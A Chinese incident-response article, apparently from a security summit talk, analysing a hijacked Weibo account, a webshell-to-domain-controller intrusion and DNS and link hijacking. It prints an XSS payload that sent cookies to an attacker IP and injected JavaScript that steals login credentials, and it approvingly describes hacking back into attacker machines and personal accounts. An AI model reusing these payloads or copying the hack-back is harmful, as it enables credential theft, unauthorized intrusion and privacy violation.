“企业应急响应和反渗透”之真实案例分析

峰会上讲过的议题,整理成文章,以供大家批评指正。

对于企业应急响应,我想只要从事安全工作的同学都有接触,我也一样,在甲方乙方工作的这几年,处理过不少应急响应的事件,但是每个人都会有自己做事的方法,在这里我主要分享一下我对应急响应的理解以及对碰到的一些案例。

0x00 什么时候做应急响应?

应急响应,估计最近几年听到这个词更多是因为各大甲方公司开始建设和运营自己的应急响应平台,也就是 xSRC。看起来对报告到这些地方的漏洞进行处理就已经成为企业应急响应的主要工作,但是以我之前在甲方亲自参与建设应急响应平台和去其他企业应急响应平台提交漏洞的经验来看,能真正把平台上的漏洞当时应急响应事件去处理的寥寥无几,更多的只是:接收->处理这种简单重复的流水线工作。因为他们会觉得报告到这些地方的漏洞它的风险是可控的。

我理解的应急响应是对突发的未知的安全事件进行应急响应处理。这种情况一般都是“被黑”了。“被黑”包括很多种:服务器被入侵,业务出现蠕虫事件,用户以及公司员工被钓鱼攻击,业务被 DDoS 攻击,核心业务出现DNS、链路劫持攻击等等等等。

0x01 为什么做应急响应?

我在峰会上说是被逼的,虽然只是开个玩笑,但是也能够反映出做应急响应是一件苦差事,有的时候要做到 7*24 小时响应,我觉得是没人喜欢这么一件苦差事的,但是作为安全人员这是我们的职责。

那说到底我们为什么做应急响应呢,我觉得有以下几个因素:

保障业务
还原攻击
明确意图
解决方案
查漏补缺
司法途径

对于甲方的企业来说业务永远是第一位的,没有业务何谈安全,那么我们做应急响应首先就是要保障业务能够正常运行,其次是还原攻击场景,攻击者是通过什么途径进行的攻击,业务中存在什么样的漏洞,他的意图是什么?窃取数据?炫耀技术?当我们了解到前面的之后就需要提出解决方案,修复漏洞?还是加强访问控制?增添监控手段?等等,我们把当前的问题解决掉之后,我们还需要查漏补缺,来解决业务中同样的漏洞?最后就是需不需要司法的介入。

0x02 怎么做应急响应?

具体怎么做应急响应,我之前根据自己做应急响应的经验总结几点:

确定攻击时间
查找攻击线索
梳理攻击流程
实施解决方案
定位攻击者

确定攻击时间能够帮助我们缩小应急响应的范围,有助于我们提高效率,查找攻击线索,能够让我们知道攻击者都做了什么事情,梳理攻击流程则是还原整个攻击场景,实施解决方案就是修复安全漏洞,切断攻击途径,最后就是定位攻击人,则是取证。

ps:定位攻击者,我觉得罗卡定律说的挺好的:凡有接触,必留痕迹。

0x03 为什么做反渗透?

一方面我们可以把被动的局面转变为主动的局面,在这种主动的局面下我们能够了解到攻击者都对我们做了什么事情,做到什么程度,他下一步的目标会是什么?最关键的我们能够知道攻击者是谁。

那么具体怎么做呢?就要用攻击者的方法反击攻击者。说起来简单,做起来可能就会发现很难,但是我们可以借助我们自身的优势,通过业务数据交叉对比来对攻击者了解更多,甚至可以在攻击者的后门里面加上攻击代码等。#p#

0x04 案例之官微帐号被盗

这是第一个案例,是官方微博帐号被盗的案例。首先看下面两张图片: 

 

 

 

某天我们的一个官方帐号突发连续发两条不正常的微博内容,看到第一条的时候还以为是工作人员小手一抖,test 到手,以为是工作人员的误操作,但是看到第二条微博的时候就已经能够判断帐号出了问题,具体是什么问题只能通过后面的分析才知道。

但是肯定的是这不是工作人员进行的操作,一方面在这种重要帐号的操作上有一些制度,其次是发布的内容也比较明显,根据发布的时间通过后台系统分析,该帐号有通过 cookie 在非公司 IP 进行过登录,但是我们的 cookie 是通过 httponly 进行保护的,how?

接下来锁定那个时间段操作过官方微博帐号同事的工作电脑,在其使用的火狐浏览器中发现有下面连续的几条访问记录:

  1. ==================================================  
  2. URL               : http://t.cn/zW*bUQ  
  3. Last Visit Date   : 2012-7-16 19:22:27 
  4. ==================================================  
  5.  
  6. ==================================================  
  7. URL               : http://50.116.13.242/index.php  
  8. Last Visit Date   : 2012-7-16 19:22:28  
  9. Referrer          : http://t.cn/zW*bUQ 
  10. ==================================================  
  11.  
  12. ==================================================  
  13. URL               : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})  
  14. Last Visit Date   : 2012-7-16 19:22:28  
  15. Referrer          : http://50.116.13.242/index.php  
  16. Title             : player.swf (application/x-shockwave-flash 对象)  
  17. ==================================================  
  18.  
  19. ==================================================  
  20. URL               : http://50.116.13.242/e.php?opener=0&cookie=ULV%3D1342421444188%3A342%3A12%3A1%3A306588567000.3021.1342421444076%3A1342141514702%3B%20__utma%3D182865017.844076418.1336462885.1341536058.1341543017.15%3B%20__utmz%3D182865017.1341473198.13.8.utmcsr%3Dweibo.com%7Cutmccn%3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/breakingnews%3B%20vjuids%3Ddae3c1e13.1369ca9b037.0.1a9eb5f46e6ac8%3B%20vjlast%3D1334068228.1341096989.11%3B%20UOR%3D%2C%2C%3B%20un%3D*@sina.com%3B%20wvr%3D3.6%3B%20_s_tentry%3Dnews.sina.com.cn%3B%20Apache%3D306588567000.3021.1342421444076%3B%20SINAGLOBAL%3D306588567000.3021.1342421444076%3B%20SUS%3DSID-1618051664-1342421545-XD-z8hcn-efefbc9f4464bf215caf1d6b0da488bf%3B%20SUE%3Des%253D5937b4f4509871fc45195767ea7abe37%2526ev%253Dv1%2526es2%253Da42f0190f7b1f5137f761f625bbe0e81%2526rs0%253DpnLlydVz7IsdBcHbRCS8Tdb1KmHl7c%25252F758lHMKQRftFZBm9EDKoFVF7jexRKPF8CpY3rjGOora0pZ%25252FyDJSaDWJxRQn020MpsJxXhf5NdP2h3jfo2V%25252FoQgA0olYEWGJNQIDFZDfkndhSSXCp%25252BldHRW%25252BkEMwhvhY4p3xR0Ki5ja94%25253D%2  
  21. Last Visit Date   : 2012-7-16 19:22:31  
  22. Referrer          : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})  
  23. ================================================== 

对上面的访问记录我想我不需要做太多的解释。在官方微博帐号的私信里面有 http://t.cn/zW*bUQ 的私信记录。

到这里就已经能够还原整个攻击场景了

工作人员收到一条私信,并且打开了

私信链接是一个 xss 漏洞的链接

攻击代码利用另外一个业务的 apache httponly cookie 泄露漏洞窃取到 cookie

事后我们修复了这次攻击中的漏洞,同时修复了业务中同类的安全漏洞,同时加强了员工安全意识,并且增加了相应的帐号安全策略。

最后我们通过后台的 IP 和邮箱等数据定位到了攻击者,在整个攻击中也并没有恶意,他也把相关的漏洞和攻击过程提交到乌云漏洞报告平台,大家可以去主站找找这个漏洞,我这里就不贴相关链接了。#p#

0x05 案例之 500 错误日志引发的血案

首先看下图 

 

一天 QA 发来邮件询问一个比较异常的事情,某测试业务出现多条状态码为 500 的日志,QA 怀疑是有黑客攻击,我们开始介入进行分析。

500 错误代表文件真实存在过并且被人访问执行过,但是现在文件已经被删除了,通过文件名可以判断并非是业务需要的文件,被黑的可能性比较大,然后找来 TOMCAT 和前端 Nginx 日志查看的确被上传了 webshell。 

 

根据攻击者 IP 和时间等线索通过分析 nginx 和 tomcat 的日志可以确定攻击者是通过 tomcat 的管理后台上传的 webshell,并且通过 webshell 做了许多操作 

 

但是tomcat 帐号密码并非弱密码,how?我们接下来对全网的 tomcat 进行了排查,发现在其中一台内网服务器存在 tomcat 弱口令,并且帐号配置文件中含有攻击者使用的帐号和密码,只是这台服务器较早之前下线了公网 IP,只保留内网 IP,并且通过分析这台服务器的日志,能够判断攻击者之前就已经通过弱口令拿到了服务器权限,并且收集了服务器上的用户名和密码等信息。

我们想看看攻击者到底想干什么,对之前收集的攻击者 IP 进行反渗透,用“黑客”的方法拿到香港,廊坊多台攻击者肉鸡权限,肉鸡上发现了大量黑客工具和扫描日志,在其中一台肉鸡上发现我们内网仍有服务器被控制。

下面两张图片可以看到攻击者通过 lcx 中转了内网的反弹 shell 

   

那么到目前为止我们做了哪些事情呢?

清理后门

清理全网 tomcat

梳理全网 web 目录文件

修改业务相关帐号密码

修改业务关键代码

加强 IDC 出口策略

部署 snort

做了好多事情?可是事实上呢?事情并没有我们想的那么简单。

之前的安全事件刚过不久,IT 人员反馈域控服务器异常,自动重启,非常异常。登录域控进行排查原因,发现域控被植入了 gh0st 后门。 

 

域控被控制,那域控下面的服务器的安全性就毫无保障,继续对办公网所有的 windows 服务器排查,发现多台 Windows 服务器被植入后门,攻击的方法是通过域控管理员帐号密码利用 at 方式添加计划任务。

能够知道攻击者是如何入侵的域控服务器比较关键,对域控服务器的日志进行分析发现下面可疑的日志:

2011-11-10,14:03:47,Security,审核成功,登录/注销 ,540,*\*,PDC,”成功的网络登录:
用户名:    *.ad
域:      *
登录 ID:      (0x0,0x1114E11)
登录类型:   3
登录过程:   NtLmSsp
身份验证数据包:    NTLM
工作站名:   CC-TEST-V2
登录 GUID:    -
调用方用户名: -
调用方域:   -
调用方登录 ID:   -
调用方进程 ID: -
传递服务: -
源网络地址:  192.168.100.81
源端口:    0

2011-11-10,3:13:38,Security,审核失败,帐户登录 ,680,NT AUTHORITY\SYSTEM,PDC,"尝试  登录的用户:  MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登录帐户:   QM-*$
源工作站:   CC-TEST-V2
错误代码:   0xC000006A
"
2011-11-10,3:13:38,Security,审核失败,帐户登录 ,680,NT AUTHORITY\SYSTEM,PDC,"尝试  登录的用户:  MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登录帐户:   QM-*$
源工作站:   CC-TEST-V2
错误代码:   0xC000006A

结合之前的信息能够锁定 192.168.100.81 是攻击源,遂对这台服务器进行确认,结果有点令人吃惊:

这是一台虚拟机,运行在一台普通的 PC 机上,这台 PC 机就放在业务部门同事的脚底下,这台虚拟机本身启用了 3389,存在弱口令,我们之前在对内网安全检查时,这台虚拟机处于关机状态。由于这台虚拟机上面跑的有测试业务,域控管理员曾经登录过。

综合我们之前得到的信息可以确定这台虚拟机是攻击者入侵我们办公网的第一台服务器,通过把这个虚拟机作为跳板攻击办公网其他服务器,至于这台虚拟机是如何被入侵的,我们后面也确定是因为上次的攻击事件,攻击者通过 IDC 进入到的办公网。

我们又做了什么?

排查所有 windows 服务器

对之前确定被入侵的服务器重装,包括域控

snort 上加了 gh0st 的特征

snort 加上 gh0st 的特征后不久我们就发现我们办公网还有服务器被控制 

 

对这台服务器进行清理后,我们仍然没有放弃对攻击者的反渗透,这次我们发现攻击者还有美国的 IP,对其渗透,最终通过 c 断进行 cain 嗅探到 3389 的密码。

登录到这台美国 IP 的服务器后,发现上面运行着 gh0st 的控制端,我们内网仍然有一台服务器处于上线状态。 

 

其实到这里这次事件就能告一段落了,关于攻击者我们在这台美国的服务器上发现了攻击者的多个 QQ 和密码,登录邮箱后找到了攻击者的简历等私人信息,还有就是我们之前也获取到攻击者在国内某安全论坛帐号。其实到这里我们能够确定攻击者是谁了。 

   #p#

0x06 案例之永无止境的劫持

对于劫持我想大家都不陌生,我们在生活中比较常见到的就是运营商在页面中插入广告等代码,这种就是一种劫持攻击。

回到案例本身,我们的一个业务先后出现多次多种手段的劫持攻击,一次是 dns 劫持,把业务的域名劫持到 61.* 这个 ip 上,另外一次是链路劫持,替换服务器返回给用户的 http 响应内容,这两次的目的都一样就是在登录口添加 js 代码,用于窃取用户的用户名和明文密码。我们另外一个业务也遭受链路劫持,直接替换客户投放的广告代码,给业务造成很大的经济损失。

下面两个图是我们业务监控系统和基调的截图,上面的图可以很明显看到在 9:30 用户登录成功数明显下降,持续不到一个小时,下图是全国部分地区基调的数据,可以看到域名被明显劫持到 61 这个 ip,这是一次典型的 DNS 攻击。 

    

页面中被插入的攻击核心代码

  1. //获取用户名和密码  
  2. function ffCheck() {  
  3.     try {  
  4.         try {  
  5.             var u = null != f ? f.idInput.value : document.getElementById("idInput").value;  
  6.         } catch (e) {  
  7.             var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");  
  8.         }  
  9.         var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;  
  10.         if (u.indexOf("@") == -1) u += "@xxx.com";  
  11.         try {  
  12.             if (u.indexOf("@") == -1) uu = u + getdomain();  
  13.         } catch (e) {}  
  14.         sendurl("/abc", u, p, "coremail");  
  15.     } catch (e) {}  
  16.     return fOnSubmit();  
  17. }  
  18.    
  19. 通过 ajax 发送出去  
  20. function sendurl(uri, u, p, i) {  
  21. xmlHttp = GetXmlHttpObject();  
  22. if (xmlHttp == null) {  
  23.     return;  
  24. }  
  25. param = "user=" + u + "&pass=" + p + "&icp=" + i;  
  26. xmlHttp.onreadystatechange = stateChanged;  
  27. try {  
  28.     xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);  
  29. } catch (e) {}  
  30. xmlHttp.setRequestHeader("If-Modified-Since", "0");  
  31. xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
  32. xmlHttp.send(param);  

接下来看下面两张图片 

  

 

这是一次典型的链路劫持攻击,通过 ttl 就能够判断,攻击的结果和前面提到的 dns 劫持攻击类似,插入恶意 js 代码来获取用户的用户名和密码。

对于劫持攻击的处理过程,首先是判断是什么攻击,对于链路劫持目前的链路劫持好像大部分都是旁路的攻击方式,就可以通过 ttl 来定位,默认的 ttl 值很好判断,如果可以修改的 ttl 值,可以通过递增或者递减 ttl 的方式来判断,dns 劫持就是判断攻击方式是什么,哪些 dns 受影响,劫持的 ip 是什么运营商,劫持后做了什么事情。

其次是解决攻击,一般根据劫持的情况去联系运营商,联系有关部门等,但是然并卵,有的功能投诉很有效,比如劫持广告代码,有的攻击则没有任何作用,比如注入 js 代码获取用户名和密码。

其实我们能做的毕竟有限,完善监控,当劫持发生的时候能够第一时间获知,甚至提醒用户当前环境有劫持的风险,对部分业务使用 https,但是我觉得都不能根治这些问题。怎么才能解决劫持问题,我没有好的解决方案,在这里我把这类案例分享出来是希望能够和各位进一步探讨。

0x07 总结

总结这里我就不打算写太多,我觉得有几个大的方向作为指导:

从业务角度,保障业务肯定是应急响应的前提;

从对抗角度,知己知彼百战不殆;

从技术角度,只有更多的了解攻击才能更好的做到防御;

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/147972.html<

(0)
运维的头像运维
上一篇2025-03-11 22:44
下一篇 2025-03-11 22:46

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注